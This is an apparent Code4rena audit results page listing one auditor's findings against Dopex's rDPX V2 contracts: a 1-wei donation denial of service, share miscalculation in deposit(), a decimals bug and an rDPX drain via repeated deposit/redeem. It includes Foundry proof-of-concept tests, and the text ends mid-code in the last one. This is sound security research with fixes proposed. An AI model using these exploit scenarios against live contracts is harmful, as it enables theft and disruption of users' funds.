Platform: Code4rena
Start Date: 21/08/2023
Pot Size: $125,000 USDC
Total HM: 26
Participants: 189
Period: 16 days
Judge: GalloDaSballo
Total Solo HM: 3
Id: 278
League: ETH
Rank: 6/189
Findings: 8
Award: $2,065.20
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: klau5
Also found by: 0x3b, 0xCiphky, 0xDING99YA, 0xWaitress, 0xbranded, 0xc0ffEE, 0xklh, 0xsurena, 0xvj, ABA, AkshaySrivastav, Anirruth, Aymen0909, Baki, Blockian, BugzyVonBuggernaut, DanielArmstrong, Evo, GangsOfBrahmin, HChang26, Inspex, Jiamin, Juntao, Kow, Krace, KrisApostolov, LFGSecurity, LokiThe5th, Mike_Bello90, Norah, Nyx, QiuhaoLi, RED-LOTUS-REACH, SBSecurity, Snow24, SpicyMeatball, T1MOH, Tendency, Toshii, Udsen, Yanchuan, __141345__, ak1, asui, auditsea, ayden, bart1e, bin2chen, blutorque, carrotsmuggler, chaduke, chainsnake, circlelooper, clash, codegpt, crunch, degensec, dirk_y, ge6a, gjaldon, grearlake, jasonxiale, juancito, ke1caM, kodyvim, kutugu, ladboy233, lanrebayode77, mahdikarimi, max10afternoon, mert_eren, nirlin, nobody2018, oakcobalt, parsely, peakbolt, pks_, pontifex, ravikiranweb3, rokinot, rvierdiiev, said, savi0ur, sces60107, sh1v, sl1, spidy730, tapir, tnquanghuy0512, ubermensch, visualbits, volodya, wintermute
0.0098 USDC - $0.01
https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/core/RdpxV2Core.sol#L764-L774 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVault.sol#L315-L369
Anyone can send 1 WEI to PerpetualAtlanticVault contract and cause DoS for settle()
in RdpxV2Core contract.
When DEFAULT_ADMIN_ROLE Settles the options by calling settle() in RdpxV2Core contract, settle()
in PerpetualAtlanticVault contract will be called as well for the passed optionIds moving forward to call subtractLoss() in PerpetualAtlanticVaultLP L764-L774
function settle( uint256[] memory optionIds ) external onlyRole(DEFAULT_ADMIN_ROLE) returns (uint256 amountOfWeth, uint256 rdpxAmount) { _whenNotPaused(); (amountOfWeth, rdpxAmount) = IPerpetualAtlanticVault( addresses.perpetualAtlanticVault ).settle(optionIds);
settle()
in PerpetualAtlanticVaultLP contract L315-L369
function settle( uint256[] memory optionIds ) external nonReentrant onlyRole(RDPXV2CORE_ROLE) returns (uint256 ethAmount, uint256 rdpxAmount) { _whenNotPaused(); _isEligibleSender(); updateFunding(); for (uint256 i = 0; i < optionIds.length; i++) { uint256 strike = optionPositions[optionIds[i]].strike; uint256 amount = optionPositions[optionIds[i]].amount; // check if strike is ITM _validate(strike >= getUnderlyingPrice(), 7); ethAmount += (amount * strike) / 1e8; rdpxAmount += amount; optionsPerStrike[strike] -= amount; totalActiveOptions -= amount; // Burn option tokens from user _burn(optionIds[i]); optionPositions[optionIds[i]].strike = 0; } // Transfer collateral token from perpetual vault to rdpx rdpxV2Core collateralToken.safeTransferFrom( addresses.perpetualAtlanticVaultLP, addresses.rdpxV2Core, ethAmount ); //must call sync to update the balance of weth on core contract // Transfer rdpx from rdpx rdpxV2Core to perpetual vault IERC20WithBurn(addresses.rdpx).safeTransferFrom( addresses.rdpxV2Core, addresses.perpetualAtlanticVaultLP, rdpxAmount ); IPerpetualAtlanticVaultLP(addresses.perpetualAtlanticVaultLP).subtractLoss( ethAmount ); IPerpetualAtlanticVaultLP(addresses.perpetualAtlanticVaultLP) .unlockLiquidity(ethAmount); IPerpetualAtlanticVaultLP(addresses.perpetualAtlanticVaultLP).addRdpx( rdpxAmount ); emit Settle(ethAmount, rdpxAmount, optionIds); }
Now the issue comes within subtractLoss()
IPerpetualAtlanticVaultLP(addresses.perpetualAtlanticVaultLP).subtractLoss( ethAmount );
Inside subtractLoss()
function this condition below mostly will not be valid because it requires balanceOf collateral to be equal to specific value, Anyone can send 1 WEI to the contract and cause DoS attack L200-L203
require( collateral.balanceOf(address(this)) == _totalCollateral - loss, "Not enough collateral was sent out" );
The condition basically is requiring the collateral balance of PerpetualAtlanticVault address to be equal to _totalCollateral - loss
which it will fail mostly because the balance of the collateral will not be equal exactly to _totalCollateral - loss
when an attacker sends 1 WEI to the contract.
The condition should check equal or greater than _totalCollateral - loss
Manual Review
Change the require condition to:
require( collateral.balanceOf(address(this)) >= _totalCollateral - loss, "Not enough collateral was sent out" );
Other
#0 - c4-pre-sort
2023-09-09T09:53:46Z
bytes032 marked the issue as duplicate of #619
#1 - c4-pre-sort
2023-09-11T16:14:15Z
bytes032 marked the issue as sufficient quality report
#2 - c4-judge
2023-10-21T07:14:56Z
GalloDaSballo marked the issue as satisfactory
🌟 Selected for report: said
Also found by: 0Kage, 0xCiphky, 0xkazim, 836541, AkshaySrivastav, Evo, HChang26, HHK, KrisApostolov, Neon2835, QiuhaoLi, Tendency, Toshii, bart1e, bin2chen, carrotsmuggler, chaduke, etherhood, gjaldon, glcanvas, josephdara, lanrebayode77, mahdikarimi, max10afternoon, nobody2018, peakbolt, qpzm, rvierdiiev, sces60107, tapir, ubermensch, volodya
17.313 USDC - $17.31
At the deposit() in PerpetualAtlanticVaultLP updateFunding()
should be called before previewDeposit()
, because updateFunding causing _totalCollateral to increase. because of this, the user gets share higher than what they should get.
The issue occur in function deposit() L118-L135 previewDeposit()
is called before updateFunding()
while it should be the other way.
previewDeposit. require((shares = previewDeposit(assets)) != 0, "ZERO_SHARES"); perpetualAtlanticVault.updateFunding();
function deposit( uint256 assets, address receiver ) public virtual returns (uint256 shares) { // Check for rounding error since we round down in previewDeposit. require((shares = previewDeposit(assets)) != 0, "ZERO_SHARES"); perpetualAtlanticVault.updateFunding(); // Need to transfer before minting or ERC777s could reenter. collateral.transferFrom(msg.sender, address(this), assets); _mint(receiver, shares); _totalCollateral += assets; emit Deposit(msg.sender, receiver, assets, shares); }
Please run this foundry POC code, import the file with project source inside tests folder.
run this command: forge test --match-path ./tests/depositUpdateFunding.t.sol -vv
// SPDX-License-Identifier: UNLICENSED pragma solidity >=0.8.4 <0.9.0; import {Test} from "forge-std/Test.sol"; import "forge-std/console.sol"; /// @author Solmate (https://github.com/transmissions11/solmate/blob/main/src/utils/FixedPointMathLib.sol) library FixedPointMathLib { /*////////////////////////////////////////////////////////////// SIMPLIFIED FIXED POINT OPERATIONS //////////////////////////////////////////////////////////////*/ uint256 internal constant MAX_UINT256 = 2 ** 256 - 1; uint256 internal constant WAD = 1e18; // The scalar of ETH and most ERC20s. function mulWadDown(uint256 x, uint256 y) internal pure returns (uint256) { return mulDivDown(x, y, WAD); // Equivalent to (x * y) / WAD rounded down. } function mulWadUp(uint256 x, uint256 y) internal pure returns (uint256) { return mulDivUp(x, y, WAD); // Equivalent to (x * y) / WAD rounded up. } function divWadDown(uint256 x, uint256 y) internal pure returns (uint256) { return mulDivDown(x, WAD, y); // Equivalent to (x * WAD) / y rounded down. } function divWadUp(uint256 x, uint256 y) internal pure returns (uint256) { return mulDivUp(x, WAD, y); // Equivalent to (x * WAD) / y rounded up. } /*////////////////////////////////////////////////////////////// LOW LEVEL FIXED POINT OPERATIONS //////////////////////////////////////////////////////////////*/ function mulDivDown( uint256 x, uint256 y, uint256 denominator ) internal pure returns (uint256 z) { /// @solidity memory-safe-assembly assembly { // Equivalent to require(denominator != 0 && (y == 0 || x <= type(uint256).max / y)) if iszero( mul(denominator, iszero(mul(y, gt(x, div(MAX_UINT256, y))))) ) { revert(0, 0) } // Divide x * y by the denominator. z := div(mul(x, y), denominator) } } function mulDivUp( uint256 x, uint256 y, uint256 denominator ) internal pure returns (uint256 z) { /// @solidity memory-safe-assembly assembly { // Equivalent to require(denominator != 0 && (y == 0 || x <= type(uint256).max / y)) if iszero( mul(denominator, iszero(mul(y, gt(x, div(MAX_UINT256, y))))) ) { revert(0, 0) } // If x * y modulo the denominator is strictly greater than 0, // 1 is added to round up the division of x * y by the denominator. z := add( gt(mod(mul(x, y), denominator), 0), div(mul(x, y), denominator) ) } } function rpow( uint256 x, uint256 n, uint256 scalar ) internal pure returns (uint256 z) { /// @solidity memory-safe-assembly assembly { switch x case 0 { switch n case 0 { // 0 ** 0 = 1 z := scalar } default { // 0 ** n = 0 z := 0 } } default { switch mod(n, 2) case 0 { // If n is even, store scalar in z for now. z := scalar } default { // If n is odd, store x in z for now. z := x } // Shifting right by 1 is like dividing by 2. let half := shr(1, scalar) for { // Shift n right by 1 before looping to halve it. n := shr(1, n) } n { // Shift n right by 1 each iteration to halve it. n := shr(1, n) } { // Revert immediately if x ** 2 would overflow. // Equivalent to iszero(eq(div(xx, x), x)) here. if shr(128, x) { revert(0, 0) } // Store x squared. let xx := mul(x, x) // Round to the nearest number. let xxRound := add(xx, half) // Revert if xx + half overflowed. if lt(xxRound, xx) { revert(0, 0) } // Set x to scaled xxRound. x := div(xxRound, scalar) // If n is even: if mod(n, 2) { // Compute z * x. let zx := mul(z, x) // If z * x overflowed: if iszero(eq(div(zx, x), z)) { // Revert if x is non-zero. if iszero(iszero(x)) { revert(0, 0) } } // Round to the nearest number. let zxRound := add(zx, half) // Revert if zx + half overflowed. if lt(zxRound, zx) { revert(0, 0) } // Return properly scaled zxRound. z := div(zxRound, scalar) } } } } } /*////////////////////////////////////////////////////////////// GENERAL NUMBER UTILITIES //////////////////////////////////////////////////////////////*/ function sqrt(uint256 x) internal pure returns (uint256 z) { /// @solidity memory-safe-assembly assembly { let y := x // We start y at x, which will help us make our initial estimate. z := 181 // The "correct" value is 1, but this saves a multiplication later. // This segment is to get a reasonable initial estimate for the Babylonian method. With a bad // start, the correct # of bits increases ~linearly each iteration instead of ~quadratically. // We check y >= 2^(k + 8) but shift right by k bits // each branch to ensure that if x >= 256, then y >= 256. if iszero(lt(y, 0x10000000000000000000000000000000000)) { y := shr(128, y) z := shl(64, z) } if iszero(lt(y, 0x1000000000000000000)) { y := shr(64, y) z := shl(32, z) } if iszero(lt(y, 0x10000000000)) { y := shr(32, y) z := shl(16, z) } if iszero(lt(y, 0x1000000)) { y := shr(16, y) z := shl(8, z) } // Goal was to get z*z*y within a small factor of x. More iterations could // get y in a tighter range. Currently, we will have y in [256, 256*2^16). // We ensured y >= 256 so that the relative difference between y and y+1 is small. // That's not possible if x < 256 but we can just verify those cases exhaustively. // Now, z*z*y <= x < z*z*(y+1), and y <= 2^(16+8), and either y >= 256, or x < 256. // Correctness can be checked exhaustively for x < 256, so we assume y >= 256. // Then z*sqrt(y) is within sqrt(257)/sqrt(256) of sqrt(x), or about 20bps. // For s in the range [1/256, 256], the estimate f(s) = (181/1024) * (s+1) is in the range // (1/2.84 * sqrt(s), 2.84 * sqrt(s)), with largest error when s = 1 and when s = 256 or 1/256. // Since y is in [256, 256*2^16), let a = y/65536, so that a is in [1/256, 256). Then we can estimate // sqrt(y) using sqrt(65536) * 181/1024 * (a + 1) = 181/4 * (y + 65536)/65536 = 181 * (y + 65536)/2^18. // There is no overflow risk here since y < 2^136 after the first branch above. z := shr(18, mul(z, add(y, 65536))) // A mul() is saved from starting z at 181. // Given the worst case multiplicative error of 2.84 above, 7 iterations should be enough. z := shr(1, add(z, div(x, z))) z := shr(1, add(z, div(x, z))) z := shr(1, add(z, div(x, z))) z := shr(1, add(z, div(x, z))) z := shr(1, add(z, div(x, z))) z := shr(1, add(z, div(x, z))) z := shr(1, add(z, div(x, z))) // If x+1 is a perfect square, the Babylonian method cycles between // floor(sqrt(x)) and ceil(sqrt(x)). This statement ensures we return floor. // See: https://en.wikipedia.org/wiki/Integer_square_root#Using_only_integer_division // Since the ceil is rare, we save gas on the assignment and repeat division in the rare case. // If you don't care whether the floor or ceil square root is returned, you can remove this statement. z := sub(z, lt(div(x, z), z)) } } function unsafeMod(uint256 x, uint256 y) internal pure returns (uint256 z) { /// @solidity memory-safe-assembly assembly { // Mod x by y. Note this will return // 0 instead of reverting if y is zero. z := mod(x, y) } } function unsafeDiv(uint256 x, uint256 y) internal pure returns (uint256 r) { /// @solidity memory-safe-assembly assembly { // Divide x by y. Note this will return // 0 instead of reverting if y is zero. r := div(x, y) } } function unsafeDivUp( uint256 x, uint256 y ) internal pure returns (uint256 z) { /// @solidity memory-safe-assembly assembly { // Add 1 to x * y if x % y > 0. Note this will // return 0 instead of reverting if y is zero. z := add(gt(mod(x, y), 0), div(x, y)) } } } /// @author Solmate (https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC20.sol) abstract contract ERC20 { /*////////////////////////////////////////////////////////////// EVENTS //////////////////////////////////////////////////////////////*/ event Transfer(address indexed from, address indexed to, uint256 amount); event Approval( address indexed owner, address indexed spender, uint256 amount ); /*////////////////////////////////////////////////////////////// METADATA STORAGE //////////////////////////////////////////////////////////////*/ string public name; string public symbol; uint8 public immutable decimals; /*////////////////////////////////////////////////////////////// ERC20 STORAGE //////////////////////////////////////////////////////////////*/ uint256 public totalSupply; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; /*////////////////////////////////////////////////////////////// EIP-2612 STORAGE //////////////////////////////////////////////////////////////*/ uint256 internal immutable INITIAL_CHAIN_ID; bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR; mapping(address => uint256) public nonces; /*////////////////////////////////////////////////////////////// CONSTRUCTOR //////////////////////////////////////////////////////////////*/ constructor(string memory _name, string memory _symbol, uint8 _decimals) { name = _name; symbol = _symbol; decimals = _decimals; INITIAL_CHAIN_ID = block.chainid; INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator(); } /*////////////////////////////////////////////////////////////// ERC20 LOGIC //////////////////////////////////////////////////////////////*/ function approve( address spender, uint256 amount ) public virtual returns (bool) { allowance[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transfer( address to, uint256 amount ) public virtual returns (bool) { balanceOf[msg.sender] -= amount; // Cannot overflow because the sum of all user // balances can't exceed the max uint256 value. unchecked { balanceOf[to] += amount; } emit Transfer(msg.sender, to, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual returns (bool) { uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals. if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount; balanceOf[from] -= amount; // Cannot overflow because the sum of all user // balances can't exceed the max uint256 value. unchecked { balanceOf[to] += amount; } emit Transfer(from, to, amount); return true; } /*////////////////////////////////////////////////////////////// EIP-2612 LOGIC //////////////////////////////////////////////////////////////*/ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public virtual { require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED"); // Unchecked because the only math done is incrementing // the owner's nonce which cannot realistically overflow. unchecked { address recoveredAddress = ecrecover( keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR(), keccak256( abi.encode( keccak256( "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)" ), owner, spender, value, nonces[owner]++, deadline ) ) ) ), v, r, s ); require( recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER" ); allowance[recoveredAddress][spender] = value; } emit Approval(owner, spender, value); } function DOMAIN_SEPARATOR() public view virtual returns (bytes32) { return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator(); } function computeDomainSeparator() internal view virtual returns (bytes32) { return keccak256( abi.encode( keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ), keccak256(bytes(name)), keccak256("1"), block.chainid, address(this) ) ); } /*////////////////////////////////////////////////////////////// INTERNAL MINT/BURN LOGIC //////////////////////////////////////////////////////////////*/ function _mint(address to, uint256 amount) internal virtual { totalSupply += amount; // Cannot overflow because the sum of all user // balances can't exceed the max uint256 value. unchecked { balanceOf[to] += amount; } emit Transfer(address(0), to, amount); } function _burn(address from, uint256 amount) internal virtual { balanceOf[from] -= amount; // Cannot underflow because a user's balance // will never be larger than the total supply. unchecked { totalSupply -= amount; } emit Transfer(from, address(0), amount); } } contract PerpetualAtlanticVaultLP is ERC20 { // using SafeERC20 for IERC20WithBurn; // using SafeTransferLib for ERC20; using FixedPointMathLib for uint256; // ================================ EVENTS ================================ // event Deposit( address indexed caller, address indexed owner, uint256 assets, uint256 shares ); event Withdraw( address indexed caller, address indexed receiver, address indexed owner, uint256 assets, uint256 shares ); // ================================ STATE VARIABLES ================================ // /// @dev The address of the perpetual Atlantic Vault contract creating the lp token // IPerpetualAtlanticVault public perpetualAtlanticVault; /// @dev The collateral token ERC20 public collateral; /// @dev The symbol reperesenting the underlying asset of the perpetualatlanticvault lp string public underlyingSymbol; /// @dev The symbol representing the collateral token of the perpetualatlanticvault lp string public collateralSymbol; /// @dev Total collateral available uint256 private _totalCollateral; /// @dev Active collateral uint256 private _activeCollateral; /// @dev Total rdpx available uint256 private _rdpxCollateral; /// @dev address of rdpx token address public rdpx; /// @dev address of the rdpx rdpxV2Core contract address public rdpxRdpxV2Core; // ================================ CONSTRUCTOR ================================ // constructor() ERC20("PerpetualAtlanticVault LP Token", "_collateralSymbol", 18) { // require( // _perpetualAtlanticVault != address(0) || _rdpx != address(0), // "ZERO_ADDRESS" // ); // perpetualAtlanticVault = IPerpetualAtlanticVault(_perpetualAtlanticVault); // rdpxRdpxV2Core = _rdpxRdpxV2Core; // collateralSymbol = _collateralSymbol; // rdpx = _rdpx; // collateral = ERC20(_collateral); // symbol = string.concat(_collateralSymbol, "-LP"); // collateral.approve(_perpetualAtlanticVault, type(uint256).max); // ERC20(rdpx).approve(_perpetualAtlanticVault, type(uint256).max); } // ================================ PUBLIC FUNCTIONS ================================ // /** * @notice deposit into ERC4626 token * @param assets assets * @param receiver receiver * @return shares shares of LP tokens minted */ function deposit( uint256 assets, address receiver ) public virtual returns (uint256 shares) { // Check for rounding error since we round down in previewDeposit. require((shares = previewDeposit(assets)) != 0, "ZERO_SHARES"); // simulation to update funding for demo purpose updateFunding(); // Need to transfer before minting or ERC777s could reenter. // collateral.transferFrom(msg.sender, address(this), assets); _mint(receiver, shares); _totalCollateral += assets; emit Deposit(msg.sender, receiver, assets, shares); } function depositWithoutBug( uint256 assets, address receiver ) public virtual returns (uint256 shares) { // simulation to update funding for demo purpose updateFunding(); // called before previewDeposit // Check for rounding error since we round down in previewDeposit. require((shares = previewDeposit(assets)) != 0, "ZERO_SHARES"); // Need to transfer before minting or ERC777s could reenter. // collateral.transferFrom(msg.sender, address(this), assets); _mint(receiver, shares); _totalCollateral += assets; emit Deposit(msg.sender, receiver, assets, shares); } // simulation to update funding function updateFunding() public { addProceeds(10e18); } /** * @notice redeem ERC4626 token * @param shares shares * @param receiver receiver * @param owner owner * @return assets native tokens to be received * @return rdpxAmount rdpx tokens to be received */ function redeem( uint256 shares, address receiver, address owner ) public returns (uint256 assets, uint256 rdpxAmount) { // perpetualAtlanticVault.updateFunding(); if (msg.sender != owner) { uint256 allowed = allowance[owner][msg.sender]; // Saves gas for limited approvals. if (allowed != type(uint256).max) { allowance[owner][msg.sender] = allowed - shares; } } (assets, rdpxAmount) = redeemPreview(shares); // Check for rounding error since we round down in previewRedeem. require(assets != 0, "ZERO_ASSETS"); _rdpxCollateral -= rdpxAmount; beforeWithdraw(assets, shares); _burn(owner, shares); // collateral.transfer(receiver, assets); // IERC20WithBurn(rdpx).safeTransfer(receiver, rdpxAmount); emit Withdraw(msg.sender, receiver, owner, assets, shares); } function addRdpx(uint256 amount) public { // require( // IERC20WithBurn(rdpx).balanceOf(address(this)) >= _rdpxCollateral + amount, // "Not enough rdpx token was sent" // ); _rdpxCollateral += amount; } function addProceeds(uint256 proceeds) public { // require( // collateral.balanceOf(address(this)) >= _totalCollateral + proceeds, // "Not enough collateral token was sent" // ); _totalCollateral += proceeds; } // ================================ INTERNAL FUNCTUONS ================================ // function _convertToAssets( uint256 shares ) internal view virtual returns (uint256 assets, uint256 rdpxAmount) { uint256 supply = totalSupply; return (supply == 0) ? (shares, 0) : ( shares.mulDivDown(totalCollateral(), supply), shares.mulDivDown(_rdpxCollateral, supply) ); } function _beforeTokenTransfer( address from, address, uint256 ) internal virtual {} // ================================ VIEWS ================================ // /// @notice Returns the total active collateral function activeCollateral() public view returns (uint256) { return _activeCollateral; } /// @notice Returns the total collateral function totalCollateral() public view returns (uint256) { return _totalCollateral; } /// @notice Returns the total rdpx collateral function rdpxCollateral() public view returns (uint256) { return _rdpxCollateral; } /// @notice Returns the total available collateral function totalAvailableCollateral() public view returns (uint256) { return _totalCollateral - _activeCollateral; } // ================================ PUBLIC VIEW FUNCTIONS ================================ // /// @notice Returns the amount of collateral and rdpx per share function redeemPreview( uint256 shares ) public view returns (uint256, uint256) { return _convertToAssets(shares); } /// @notice Returns the amount of shares recieved for a given amount of assets function previewDeposit(uint256 assets) public view returns (uint256) { return convertToShares(assets); } /// @notice Returns the amount of shares recieved for a given amount of assets function convertToShares( uint256 assets ) public view returns (uint256 shares) { uint256 supply = totalSupply; uint256 rdpxPriceInAlphaToken = 1e6; // fixed price for demo purpose perpetualAtlanticVault.getUnderlyingPrice(); uint256 totalVaultCollateral = totalCollateral() + ((_rdpxCollateral * rdpxPriceInAlphaToken) / 1e8); return supply == 0 ? assets : assets.mulDivDown(supply, totalVaultCollateral); } function beforeWithdraw(uint256 assets, uint256 /*shares*/) internal { require( assets <= totalAvailableCollateral(), "Not enough available assets to satisfy withdrawal" ); _totalCollateral -= assets; } } contract VaultLPTest is Test { PerpetualAtlanticVaultLP perpetualAtlanticVaultLP; address users = vm.addr(1); address user = vm.addr(2); function setUp() public { perpetualAtlanticVaultLP = new PerpetualAtlanticVaultLP(); } function test_deposit() public { vm.startPrank(users); perpetualAtlanticVaultLP.deposit(50e18, users); // add some deposit vm.stopPrank(); perpetualAtlanticVaultLP.addRdpx(20e18); // add some rdpx vm.startPrank(user); uint256 assets = 100e18; uint256 shares = perpetualAtlanticVaultLP.deposit(assets, user); console.log("updateFunding() called after previewDeposit"); console.log("shares %d", shares); vm.stopPrank(); } function test_deposit_without_bug() public { vm.startPrank(users); perpetualAtlanticVaultLP.deposit(50e18, users); // add some deposit vm.stopPrank(); perpetualAtlanticVaultLP.addRdpx(20e18); // add some rdpx vm.startPrank(user); uint256 assets = 100e18; uint256 shares = perpetualAtlanticVaultLP.depositWithoutBug(assets, user); console.log("updateFunding() called before previewDeposit"); console.log("shares %d", shares); vm.stopPrank(); } }
output:
[PASS] test_deposit() (gas: 141613) Logs: updateFunding() called after previewDeposit shares 83056478405315614617 [PASS] test_deposit_without_bug() (gas: 141700) Logs: updateFunding() called before previewDeposit shares 71225071225071225071
Manual Review
Call updateFunding()
before previewDeposit()
Other
#0 - c4-pre-sort
2023-09-09T16:42:22Z
bytes032 marked the issue as duplicate of #867
#1 - c4-pre-sort
2023-09-11T09:08:22Z
bytes032 marked the issue as sufficient quality report
#2 - c4-judge
2023-10-20T19:23:33Z
GalloDaSballo marked the issue as satisfactory
🌟 Selected for report: LokiThe5th
Also found by: 0xPsuedoPandit, 0xTiwa, 0xnev, 0xvj, Evo, Jiamin, Juntao, QiuhaoLi, T1MOH, Udsen, circlelooper, crunch, eeshenggoh, gjaldon, hals, josephdara, kutugu, minhtrng, niki, umarkhatab_465
96.3292 USDC - $96.33
a possible collateralToken transfer to perpetualAtlanticVaultLP with an unexpected and incorrect amount according to collateralToken type. This happen when collateralToken has less or more than 18 decimals
Since the collateralToken
is ETH (i.e. weth) then things will work fine in the transfer at updateFunding()
. However, the protocol could add different token other than ETH and that will cause different result of the transferred amount,
In updateFunding()
function, collateralToken
transferred amount should be normalized before sending funds to perpetualAtlanticVaultLP L513-L516
collateralToken.safeTransfer( addresses.perpetualAtlanticVaultLP, (currentFundingRate * (block.timestamp - startTime)) / 1e18 );
Actually the issue starts with _purchaseOptions()
which calls purchase() of the vault L481
(premium, optionId) = IPerpetualAtlanticVault( addresses.perpetualAtlanticVault ).purchase(_amount, address(this));
The _amount
that passed above into purchase is 18 decimals of RDPX token, now inside purchase()
function calculatePremium()
is called on same amount and returning premium
value, and since premium
calculated on 18 decimals, _updateFundingRate(premium)
is calculating funding rate relying on premium
value.
Let's check transfer amount here which include currentFundingRate
inside updateFunding()
function :
(currentFundingRate * (block.timestamp - startTime)) / 1e18
Above is the amount that will be transferred to addresses.perpetualAtlanticVaultLP
which will work fine since the default likely collateralToken
is ETH (18 decimals), but since the protocol could have different collateralToken then we would have an issue with the amount being calculated relied on 18 decimals all the way till being passed to updateFunding()
function.
Because other collateral Tokens possible to have less or more than 18 decimals and then you have incorrect amount being transferred from perpetualAtlanticVault to perpetualAtlanticVaultLP
Manual Review
Normalise the amount to 18 decimals to take into account other collateral tokens that have less or more than 18 decimals
Other
#0 - c4-pre-sort
2023-09-13T13:32:37Z
bytes032 marked the issue as sufficient quality report
#1 - c4-pre-sort
2023-09-15T10:14:06Z
bytes032 marked the issue as duplicate of #549
#2 - c4-judge
2023-10-20T18:27:59Z
GalloDaSballo marked the issue as satisfactory
#3 - c4-judge
2023-10-20T18:28:21Z
GalloDaSballo changed the severity to 3 (High Risk)
🌟 Selected for report: LokiThe5th
909.7371 USDC - $909.74
PerpetaulAtlanticVaultLP allows users to deposit()
and redeem()
. When you deposit, you only deposit assets (e.g. Weth) which is the main collateral token L127-L133
// Need to transfer before minting or ERC777s could reenter. collateral.transferFrom(msg.sender, address(this), assets); _mint(receiver, shares); _totalCollateral += assets;
But when you redeem, you get a share from both the asset and rDPX L170-L173
collateral.transfer(receiver, assets); IERC20WithBurn(rdpx).safeTransfer(receiver, rdpxAmount);
Assume PerpetaulAtlanticVaultLP = VaultLP, Initially rDPX balance in the vault is zero. However, when settling options, Weth is transferred from VaultLP to core contract and rDPX is transferred from core contract to VaultLP.
A malicious actor can buy all rDPX from VaultLP by repeating deposit()
and redeem()
over and over. Eventually, receiving all the rDPX amount from the vault. After that, the actor sells rDPX in the market dumping it which cause lowering the price of rDPX. Because of this, the admin might have to to reLP()
to raise the price of rDPX. This means, losing liquidity (Weth
) from uniswap pool (i.e. addresses.ammRouter).
From docs, to understand reLP process
reLP is the process by which part of the Uniswap V2 liquidity is removed, then the ETH received is swapped to rDPX. This essentially increases the price of rDPX and also increases the Backing Reserve of rDPX
There is no loss for the actor (except gas fees), since the actor is selling rDPX immediately. So, the actor is getting back their Weth. So, the cost of the attack is cheap.
Impact summary:
reLP()
process is active. reLP process is triggered.// SPDX-License-Identifier: UNLICENSED pragma solidity >=0.8.4 <0.9.0; import {Test} from "forge-std/Test.sol"; import "forge-std/console.sol"; /// @author Solmate (https://github.com/transmissions11/solmate/blob/main/src/utils/FixedPointMathLib.sol) library FixedPointMathLib { /*////////////////////////////////////////////////////////////// SIMPLIFIED FIXED POINT OPERATIONS //////////////////////////////////////////////////////////////*/ uint256 internal constant MAX_UINT256 = 2 ** 256 - 1; uint256 internal constant WAD = 1e18; // The scalar of ETH and most ERC20s. function mulWadDown(uint256 x, uint256 y) internal pure returns (uint256) { return mulDivDown(x, y, WAD); // Equivalent to (x * y) / WAD rounded down. } function mulWadUp(uint256 x, uint256 y) internal pure returns (uint256) { return mulDivUp(x, y, WAD); // Equivalent to (x * y) / WAD rounded up. } function divWadDown(uint256 x, uint256 y) internal pure returns (uint256) { return mulDivDown(x, WAD, y); // Equivalent to (x * WAD) / y rounded down. } function divWadUp(uint256 x, uint256 y) internal pure returns (uint256) { return mulDivUp(x, WAD, y); // Equivalent to (x * WAD) / y rounded up. } /*////////////////////////////////////////////////////////////// LOW LEVEL FIXED POINT OPERATIONS //////////////////////////////////////////////////////////////*/ function mulDivDown( uint256 x, uint256 y, uint256 denominator ) internal pure returns (uint256 z) { /// @solidity memory-safe-assembly assembly { // Equivalent to require(denominator != 0 && (y == 0 || x <= type(uint256).max / y)) if iszero( mul(denominator, iszero(mul(y, gt(x, div(MAX_UINT256, y))))) ) { revert(0, 0) } // Divide x * y by the denominator. z := div(mul(x, y), denominator) } } function mulDivUp( uint256 x, uint256 y, uint256 denominator ) internal pure returns (uint256 z) { /// @solidity memory-safe-assembly assembly { // Equivalent to require(denominator != 0 && (y == 0 || x <= type(uint256).max / y)) if iszero( mul(denominator, iszero(mul(y, gt(x, div(MAX_UINT256, y))))) ) { revert(0, 0) } // If x * y modulo the denominator is strictly greater than 0, // 1 is added to round up the division of x * y by the denominator. z := add( gt(mod(mul(x, y), denominator), 0), div(mul(x, y), denominator) ) } } function rpow( uint256 x, uint256 n, uint256 scalar ) internal pure returns (uint256 z) { /// @solidity memory-safe-assembly assembly { switch x case 0 { switch n case 0 { // 0 ** 0 = 1 z := scalar } default { // 0 ** n = 0 z := 0 } } default { switch mod(n, 2) case 0 { // If n is even, store scalar in z for now. z := scalar } default { // If n is odd, store x in z for now. z := x } // Shifting right by 1 is like dividing by 2. let half := shr(1, scalar) for { // Shift n right by 1 before looping to halve it. n := shr(1, n) } n { // Shift n right by 1 each iteration to halve it. n := shr(1, n) } { // Revert immediately if x ** 2 would overflow. // Equivalent to iszero(eq(div(xx, x), x)) here. if shr(128, x) { revert(0, 0) } // Store x squared. let xx := mul(x, x) // Round to the nearest number. let xxRound := add(xx, half) // Revert if xx + half overflowed. if lt(xxRound, xx) { revert(0, 0) } // Set x to scaled xxRound. x := div(xxRound, scalar) // If n is even: if mod(n, 2) { // Compute z * x. let zx := mul(z, x) // If z * x overflowed: if iszero(eq(div(zx, x), z)) { // Revert if x is non-zero. if iszero(iszero(x)) { revert(0, 0) } } // Round to the nearest number. let zxRound := add(zx, half) // Revert if zx + half overflowed. if lt(zxRound, zx) { revert(0, 0) } // Return properly scaled zxRound. z := div(zxRound, scalar) } } } } } /*////////////////////////////////////////////////////////////// 